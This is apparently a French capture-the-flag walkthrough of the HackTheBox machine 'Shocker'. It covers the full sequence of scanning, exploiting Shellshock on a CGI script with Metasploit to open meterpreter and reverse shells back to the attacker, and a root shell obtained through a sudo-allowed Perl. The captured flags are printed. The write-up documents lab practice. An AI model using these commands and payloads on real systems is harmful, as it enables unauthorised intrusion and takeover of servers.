HackTheBox Walkthrough - Shocker

  • Machine ciblée : Shocker.

  • Répertoire : /home/kali/Shocker

  • Temps passé dessus : 2h

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Shocker"
repository="/home/kali/$name"
ip="10.10.10.56"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap  -Pn -A -T5 -p - -oN $repository/full -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-27 16:57 EST

Nmap scan report for Shocker (10.10.10.56)
Host is up (0.018s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4f8ade8f80477decf150d630a187e49 (RSA)
|   256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_  256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.50 seconds
[i] SearchSploit's XML mode (without verbose enabled).   To enable: searchsploit -v --xml...
[i] Reading: '/home/kali/Shocker/sploitable'

[i] /usr/bin/searchsploit -t apache httpd
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
Apache 0.8.x/1.0.x / NCSA HTTPd 1.x - 'test-cgi' Directory Listing               | cgi/remote/20435.txt
Apache 1.1 / NCSA HTTPd 1.5.2 / Netscape Server 1.12/1.1/2.0 - a nph-test-cgi    | multiple/dos/19536.txt
Apache Httpd mod_proxy - Error Page Cross-Site Scripting                         | multiple/webapps/47688.md
Apache Httpd mod_rewrite - Open Redirects                                        | multiple/webapps/47689.md
NCSA 1.3/1.4.x/1.5 / Apache HTTPd 0.8.11/0.8.14 - ScriptAlias Source Retrieval   | multiple/remote/20595.txt
--------------------------------------------------------------------------------- ---------------------------------

┌──(kali㉿kali)-[~/Shocker]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host:FUZZ.$name.$domain" --hl 220 http://$name.$domain
┌──(kali㉿kali)-[~/Shocker]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name
/server-status        (Status: 403) [Size: 295]

Phase 2 : Analyse

Et bien alors que généralement, je ne prends pas en scope le SSH, cette fois-ci, c’est la seule piste possible. Nota : ce dernier est sur le port 2222, ce qui peut montrer que l’utilisateur a fait quelque chose.

┌──(kali㉿kali)-[~]
└─$ searchsploit OpenSSH 7.2p2
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration                                          | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                    | linux/remote/45210.py
OpenSSH 7.2 - Denial of Service                                                   | linux/dos/40888.py
OpenSSH 7.2p2 - Username Enumeration                                              | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets P | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                          | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                              | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration                                             | linux/remote/40113.txt
---------------------------------------------------------------------------------- ---------------------------------

┌──(kali㉿kali)-[~]
└─$ python /usr/share/exploitdb/exploits/linux/remote/40136.py -U /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt shocker.htb:2222


User name enumeration against SSH daemons affected by CVE-2016-6210
Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari


[*] Testing SSHD at: shocker.htb:2222, Banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
[*] Getting baseline timing for authenticating non-existing users.Traceback (most recent call last):

Phase 3 : User

J’ai tente de le run via msf, rien qui bouge, ça sentais la fausse piste alors je suis parti regarder le writeup. 1er note : mon gobuster n’a pas remonté la présence d’un dossier /cgi-bin. Il fallait en déduire que la box était faillible à l’attaque Shellshock. A la suite, on devait continuer l’énumération pour trouver un /cgi-bin/user.sh qui nous permet de se lancer dans l’attaque :

┌──(kali㉿kali)-[~/Shocker]
└─$ msfconsole -q -x "search Shellshock; exit"
================
   #   Name                                               Disclosure Date  Rank       Check  Description
   -   ----                                               ---------------  ----       -----  -----------
   1   exploit/multi/http/apache_mod_cgi_bash_env_exec    2014-09-24       excellent  Yes    Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
   2   auxiliary/scanner/http/apache_mod_cgi_bash_env     2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner

┌──(kali㉿kali)-[~/Shocker]
└─$ msfconsole -q -x "use  auxiliary/scanner/http/apache_mod_cgi_bash_env; set RHOSTS $name; set TARGETURI /cgi-bin/user.sh;run; exit"
[+] uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
┌──(kali㉿kali)-[~/Shocker]
└─$ localip=`ip a | grep tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
┌──(kali㉿kali)-[~/Shocker]
└─$ msfconsole -q -x "use exploit/multi/http/apache_mod_cgi_bash_env_exec; set RHOSTS $name; set payload payload/linux/x86/shell/bind_tcp; set TARGETURI /cgi-bin/user.sh;set LHOST $localip; run; exit"
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (1017704 bytes) to 10.10.10.56
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.56:52224) at 2022-11-27 17:41:39 -0500
meterpreter > cat /home/shelly/user.txt
adb08fe8b02d5e686ebbccc61f1a7ee5

Phase 4 : Élévation de privilège

┌──(kali㉿kali)-[~/Shocker]
└─$ ssh-keygen -t ed25519 -f ./id_ecdsa -C '' -N '' >/dev/null && cat ./id_ecdsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN2U+UzazJBVkGC99rU/FLvl5bD+98B9O+jN3R/oIAqA

meterpreter > mkdir $HOME/.ssh
meterpreter > edit ./authorized_keys
meterpreter > chmod 600 ./authorized_keys

┌──(kali㉿kali)-[~/Shocker]
└─$ ssh -i ./id_ecdsa  shelly@$name.$domain -p 2222
shelly@shocker.htb s password:
Permission denied, please try again.
meterpreter > cat /etc/ssh/sshd_config authorized_keys
PermitRootLogin yes
RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile     %h/.ssh/authorized_keys
AllowUsers root

Ok, donc seul root a le droit de se connecter en ssh. on va devoir tout gerer au meterpreter … Ce que je ne sais pas faire … Alors on va changer de payload.

┌──(kali㉿kali)-[~/Shocker]
└─$ msfconsole -q -x "use exploit/multi/http/apache_mod_cgi_bash_env_exec; set RHOSTS $name; set payload payload/generic/shell_reverse_tcp; set TARGETURI /cgi-bin/user.sh;set LHOST $localip; run; exit"
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

Bon, il s’agit pas de mon meilleur reverse shell mais essayons tout ça …

sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

sudo perl -e 'exec "/bin/sh";'
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
adc0d20b7a74cc2dcbfabfb1d74e6a7e

Récapitulatif

J’ai galéré un bon moment sur l’user. je ne sais pas pourquoi gobuster (et même Wfuzz, j’ai vérifié après) n’ont pas réussi à trouver le répertoir CGI-bin. Il faudrait que je pense à le vérifier à la main peut-être. Par contre, la PE était super simple. Il faut encore que je m’habitue à Metasploit et Meterpreter.

A retenir

  • Tous les langages de programmation comportent une façon d’exécuter des commandes systèmes. C’est le mal absolu, il ne faut jamais autoriser le sudo de ce genre de truc.

  • Pour paramétrer une payload particulières, c’est show payloads puis set payload.